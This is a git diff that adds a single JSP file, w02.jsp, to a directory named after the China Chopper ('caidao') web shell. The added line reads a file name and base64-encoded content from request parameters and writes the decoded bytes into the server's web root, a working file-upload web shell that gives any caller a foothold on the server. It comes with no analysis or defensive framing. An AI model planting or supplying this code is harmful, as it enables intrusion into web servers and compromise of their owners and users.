diff --git a/caidao-shell/w02.jsp b/caidao-shell/w02.jsp
new file mode 100644
index 0000000..5fc4da7
--- /dev/null
+++ b/caidao-shell/w02.jsp
@@ -0,0 +1 @@
+<%new java.io.FileOutputStream(application.getRealPath("/")+"/"+request.getParameter("f")).write(new sun.misc.BASE64Decoder().decodeBuffer(request.getParameter("c")));out.close();%>